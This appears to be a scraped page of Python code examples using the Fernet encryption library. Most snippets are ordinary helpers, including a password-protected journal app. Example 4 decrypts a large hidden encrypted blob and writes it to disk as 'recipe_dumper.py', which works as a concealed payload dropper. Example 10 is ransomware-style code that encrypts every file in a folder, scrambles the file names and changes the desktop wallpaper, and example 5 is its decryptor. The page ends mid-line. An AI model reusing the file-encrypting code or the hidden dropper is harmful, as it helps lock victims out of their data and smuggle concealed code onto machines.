示例#1
0
	def create_journal(self):
		try:
			journal_name = self.name_box.get()
			password = self.password_box.get()

			salt = os.urandom(16)
			kdf = PBKDF2HMAC(
				algorithm=hashes.SHA256,
				length=32,
				salt=salt,
				iterations=100000,
				backend=default_backend()
			)
			key = base64.urlsafe_b64encode(kdf.derive(password.encode('utf-8')))
			session_fernet = fernet(key)

			os.makedirs(journal_name)
			journal_index = open(journal_name + ".pjindex", "w+")

			journal_index.write(str(salt) + "\n")
			preamble = [journal_name, getpass.getuser(), time.strftime("%x"), time.strftime("%X")]
			encrypt_and_writelines(journal_index, preamble, session_fernet)

			self.file_dialog.destroy()
			journal_index.close()

			self.master.session_journal_location = journal_name + ".pjindex"
			self.master.session_fernet = session_fernet

			self.master.open_journal_master()

		except OSError:
			self.prompt["text"] = "You cannot use this name, as either a Journal with that name already exists, or it is invalid."
示例#2
0
def example():
    key = fernet.generate_key()
    f = fernet(key)
    token = f.encrypt(str.encode('secret'))
    print('token: ' + bytes(token).hex())
    decrypted = f.decrypt(token)
    print('Decrypted: ' + decrypted.decode('utf-8'))
示例#3
0
	def open_now(self):
		journal_location = self.name_box.get()
		journal_password = self.password_box.get()

		self.master.session_journal_location = journal_location

		journal_index = open(journal_location, "r+")
		journal_salt = journal_index.readline()[2:-4].encode('utf-8')
		kdf = PBKDF2HMAC(
			algorithm=hashes.SHA256,
			length=32,
			salt=journal_salt,
			iterations=100000,
			backend=default_backend()
		)
		key = base64.urlsafe_b64encode(kdf.derive(journal_password.encode('utf-8')))
		journal_fernet = fernet(key)

		self.master.session_fernet = journal_fernet

		self.master.open_journal_master()
示例#4
0
from cryptography.fernet import Fernet as fernet

hide = b'gAAAAABevaRe0ld6qJzoYX5PxaSQvXmNH-DKRdQlc1vRr4D0IuDvADIHSV5ORh53V-kwYCuhG_DWPA4VHZltyuNwccWycKOa5hjvNoI_Huin1jTk4EpVX1HEwJ2ZcxL8dHvkk3RzdDpRqW7-0u1X__XeEwIcE5Hsm5s5MBn5U_q_5H7iZ6mKg3WK-2d6zUw48vjLXymOlSWMbxiBB0O8sSygGgjITganzfphJM1uPOaGXahs-kya6o2eJXfD-Hc8LGwV93fhtXsy8VTgAxXDD3qJ1aLWZS-JhOB_vuUY_eXTXd7vfgjusnoFoDTDOpoZatFq7l3EZdO65BLmpFRRZRFNcjoXHX-mtfWgk3jpahNYkbERmRiAvIGDc5tIK5fR4xswzFveF7474exmRPIack7fuw1yfb0otRoP8x0CEPng0t8gTk4XJOfVGnB0bh3WZYZffu9r5IiuRl6cdLC5TpT8N6fgzq-lkP2nS7IjWux4qBs_LW9Eui-cOiiKvUls8rlq6HGITfZtxq91dgNk6kFDFAjGI88em9cQ_YM6wuC2eXPTez_KsmqIA2W3ECiss5nTp0ZvTD74Wmc5yfE9BRaMg3C7H58xNRw_p0QYf5mjHY25bVEMYGhbjo-S8yZMGB6WLMYGCzYXWpZ3hrVCyvafz8FnS8PcVlz6OjsJRZDiXrPc1974NwhUeQNA1ckkky84X4QArD0fX6gGhhCLNXTo6XuRUp1kvQRDi-j7bnzxtRKDkSF3dXwG0RlB7Y8dJJyT1mxMHZ0WxC9JLKC0fOZdHGXteU-l9z9pWzGGAHHNZESzk6pryieZqtqIR7SRirI2Fs06m7Vo1LLUR6Jv7x1Nc8sZh8_SAHsoq6THnLXJlyg2rT2eY4Jl5fwPndYZqPvPISKv6P9O6ek5GTa5B6oXPkJ6lDgFBLXnHcngjQcgW1MDi1Kg6qJTHbMNcx-gYU9HAPM90UVBVj1rv8A6yaP_-m30OOnuvFwPkf16wtW3GC3ANNOGhdqk_az5mg1cjWhs3et-Bn_h-ccH8M5FiXypJ1N3-kN8e3FMpHiR0J2F_X4vsP_zwBaKDRPNAnO8bJnHYzCrDbGgRhr0JOd5jEJRkGNi1rZ4zVoqfBkaIra3rwR2hfCcfUnMcheT_FEfMVqwFA9UGmvzuZAXT1xDi38aYFp-2_mOGWaRGoH6KjJEPQ2YY7_PFBN7J8qhiCmqRIVarkhdzp7zMbCDEtUntpguxHxFjjQlfmD-0C8nVOnIaFwCQAJgNSd7cGl_q9DQHVuHDz_1w2GLwKQkK4jyXspGgxH_G-INNwrtau3BKiQMvH0FPgBxCWgdu39GaOfnk0SJLBaf7gdqaCAkHabilm9M41xk2vWzJWFMPwofc3nsDlqy-WnpNZZe2Sa8CrWYyhfPlSg0-o88kz6LmUJ0SR8mMuNPHC3FYZk2SYzPAUHSllUDovLMt6pFsKa_URYAmo8c1JX2aO5H7Z4jPY3Tj7K2glry7t6R7qYOIbDqlgdFzBbdss7keyZICO71Nu7wGJEskSjAmofa690nNJY5pp8Yct7maYGR-npGkUiw5VFN452X63BcjVbtP9B6Z3KGuYxrUYa1gQ7AMnZoDnHHWlIddhMCB1IXGkpfGZ4z4X2TWEVC6ZxyBZqZ7dIYLEI3aIm4ULPXKB01qYRRo6rSMTY7dq_Yi8_VETPIrWGs2WpJ-wZoIwtfOwxuXbQZLZO-v-m_zTQ4JOOeK5X_8-HhaVPSCm49zSHHRpcVZ_btsB_FYJItHxIxGRZT7zWd3aA4jMV4wwdKyq5XKnDnWpjTvUlgdhT-TtdVbC_zIdYDmRN1hBJ3tcD158whHWxCH5mrVw8W0ItpQpvYF4U-IShesS1An_Srmb9sMiKnNZA46G6x-qGT00a8_mXLqHN-kpifdOch1zRSSVz5f7J6-XSSWe99vEKUCiQvNpVzmQQ1Oy61yswmu9GtEPoavmuG-dqMRuY0OumLBbWSgGk8BWAGeTVNYFtnfumysUF-CDR7eGaFqy1nNCGIM-mPAx6_soC6sRm8EFAJajqf8oOLWlzScg6DZkHDVSa9qBayLEX1slxUbiwIGXJbmGDRn_X_PfS9TLZuHZrvZjzeJXJBmKi4etLEHaIbm1qREFkKND_5GzHKlBFndiNoUNO_L50Q1jFLThTrF0rlv9O-UrjP0W_y5rmUyyPH10b-FgwUssw2Daz-oQviDtrlrPbZLFOxmCxyfrO6qBrHYX8pfBISxecsX_ml_Fc2ICZsIs8zPE3L3kOPUY4JXV9AzfNZHHhwwv_0lg9pMq-FyGBp2tdpxjgY77pjoKnwug-aSImb0iikp85FQT3CTaj8PmnFk9BhDuXZ3l9W7o49czvYXuG2v-LlxG-aAGPG18FwavwJxXKojY-iTNyddB7Ash7lwLJPHEtzQP4XrPD-Hm_GYl1t1t0bOXUIqCfK5kP7hXpLAKxfpF4iBUbvMhaGWMNB_9GOFhAp057XG4RloqNKSVpwxltAYkf6Ml5XyTedUKC4zw4xYJsL-yh_wXZ5aIGuTBs9pxwbkR-qIJNVdTJoVVzv847wFPtLz6DZTC9lTqORrcC4E2DlCJ2tJ2vleNmBE4Q-efs-8ymSusyWJWtFnk81iv5iyK0W0asTZ80spOSZt7IADTn2aqlNWPzh1wh8hxLQ9bL4QZZQ_48tjs901wQv86U5Z3FfY5AcNhoxh4iv2d9SBak139Rg5RWjm_4xtMFOjHs8QtH1TsKi3epbP0exO80wqk2_nTuZCOapAJ1YZC3liAjqdTHEt8IaR3OXcG0i_qV9Q4o5a9cvyGjJSl3osg-gCwGtBWIkG5kNGIubwqoop5jdxCJ7-JEgSI0ziVvN0hiajxObZdbTkJTzU2NEPERwZxZ_EZCXEnwVRZqraGY24znCM1tfuRc6GmOEQ2waOV7bjBJELmORkkYJEM4Eqodqxe3s-pw2mvP25Gl6cwp3okZcYUoZhuRV-eJtJj5sOBuVKD9YQV2W_LNxkiBFfQSEf2MW2hnR0GCOjsaY5vSFelpjM3LwfDcRWxru84aSICObaNw_26YU-mJk64xqyX10jUn09JinE_FpvjuuTHeNmr9JUQCJC3xt8FjDkgMpyhbCBr9J9TXlA3wbfHmUfxLFocCkIYQaAcSu9ZrWc6ewoHHrZqOYudcvsgRErKyH9FS2skGtMQvlNYax4IqAIUPV1LbYrokmwLsRX8ba4S7d6b0CySCY31bS4esz-hFg-FudphoNvkaHV_tBiWpHcynVRGFtmZ1q83ZPIkaogQVPOWAuLgszdoZDkY6Ibg0yxSYp0UONq5GadRwtK-3NFVbtd1S10OF9863tOXe1YLmq31lcWVnZ1ir0rUF5hGxhaN5R0ydkZUHJDLqVHZCARXpLU2n8jF8s7q09purtIKbHt7gJuCbCpkMG9fUou7gCCq9rCFht_DfqR7kWpgvlHocO1MnlH82MZrLQsn9BI50pZj8VnjinOBKh5MVYFJn2qmitmMtAq6mzTEOOsde0duPwbLIg3dTMx4XeKU45zz90OXWBiReCNOOlC9slYZofQixJF4UzLjbZ-QS_huy8mZZWzlZBIUCTk8f93BI2nTus0eeNSu-tCn3jYwGnth7uMRWje_KLSSuWvPsRgTWOj-RqOkEniYkdvap447orTudmwnjvSk2oBvnGl24eo_GcpZqA35m0065oe5bXlyYOk3_iZbQdUSZLSfVXHaVQo8Fx1LWseWHtFRsGlZXUjUn8ul8D5QJZbrpeeGIRUc9WR7SVcLPuvJJ2TGTy1QyQlG2xpDl8psHAGOct5k4='
f = fernet(key)
detoken = f.decrypt(hide)

detoken = detoken.decode("utf-8")

f = open("recipe_dumper.py", "w+")
f.close()
f = open("recipe_dumper.py", "a", encoding="utf-8")
f.write(detoken)
f.close()
示例#5
0
from cryptography.fernet import Fernet as fernet
import os

with open("/root/script/key.txt", "r") as f:
    key = f.read()

algo = fernet(key.encode())

for dirpath, dirnames, files in os.walk('/root/script/Private', topdown=False):
    print(f'Found directory: {dirpath}')
    for file_name in files:
        with open(dirpath + "/" + file_name, "rb") as f:
            data = f.read()
        dataDecrypt = algo.decrypt(data)
        dataDecrypt = dataDecrypt.decode('UTF-8')

        with open(dirpath + "/" + file_name, "w") as n:
            n.truncate(0)
            n.write(str(dataDecrypt))
            print('Fichier dechiffre:' + dirpath + "/" + file_name)

print('Dechiffrement des fichiers termines')
示例#6
0
def decrypt(bytedata, key):
    return fernet(key).decrypt(bytedata)
示例#7
0
def encrypt(bytedata, key=None):
    if not (key): key = fernet.generate_key()
    suite = fernet(key)
    return suite.encrypt(bytedata), key
示例#8
0
 def key(self, newkey):
     self._suite = fernet(newkey)
     self._key = newkey
示例#9
0
 def __init__(self, key=None):
     self._key = key if key else fernet.generate_key()
     self._suite = fernet(self._key)
示例#10
0
from cryptography.fernet import Fernet as fernet
import os
import json

key = fernet.generate_key()
algo = fernet(key)

listeKey = {"keyFile": key.decode()}
jsonKey = json.dumps(str(listeKey)).encode('utf-8')

with open("/root/script/key.txt", "wb") as f:
    f.write(jsonKey)

for dirpath, dirnames, files in os.walk('/root/script/Private', topdown=False):
    print(f'Found directory: {dirpath}')
    for file_name in files:
        with open(dirpath + "/" + file_name, "rb+") as f:
            data = f.read()
            f.truncate(0)
            f.write(algo.encrypt(data))
            print('Fichier chiffre:' + dirpath + "/" + file_name)

        keyFilename = fernet.generate_key()
        algoFilename = fernet(keyFilename)

        encodeFileName = algoFilename.encrypt(file_name.encode())
        os.rename(dirpath + "/" + file_name,
                  dirpath + "/" + encodeFileName.decode() + "")

os.system(
    "/usr/bin/gsettings set org.gnome.desktop.background picture-uri /root/script/wp.png"